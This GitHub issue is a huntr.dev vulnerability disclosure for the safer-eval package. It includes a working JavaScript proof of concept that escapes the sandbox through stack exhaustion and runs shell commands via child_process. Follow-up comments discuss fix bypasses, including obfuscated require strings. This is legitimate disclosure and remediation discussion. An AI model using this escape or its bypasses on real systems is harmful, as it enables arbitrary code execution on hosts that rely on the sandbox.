Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Notice & Bug Bounty - Arbitrary Code Execution - huntr.dev #12

Open
huntr-helper opened this issue Jun 12, 2020 · 3 comments
Open

Comments

@huntr-helper
Copy link

Overview

safer-eval is a safer approach for eval in node and browser.

Affected versions of this package are vulnerable to Arbitrary Code Execution via generating a RangeError: Maximum call stack size exceeded.

Proof of Concept (Credit: Jonathan Leitschuh)

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){}
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

@huntr-helper
Copy link
Author

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.

@commenthol
Copy link
Owner

Thanks for your contribution. I really honor your efforts.
Nonetheless a breakout from the VM is still possible. The only limitation is that child_process is somehow prevented to be required.
If someone tries to obfuscate require("child_process") (greetings from white-space or brain fuck) or uses ES5 import statement together with node@>=10 experimental flags we will be facing the same issue again.

@stephenmathieson
Copy link

Right, something as simple as require("child_" + "process") will still enable "breaking out". I don't think the proposed solution solves the core issue.

A slightly more robust way of fixing (in line with the proposed solution) would be to build an AST of the provided code and check the strings it contains. This would solve the obfuscated strings issue, but would not catch more complex hacks like:

var child = "child";
var process = "process";
var cp = require([child, process].join("_"))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants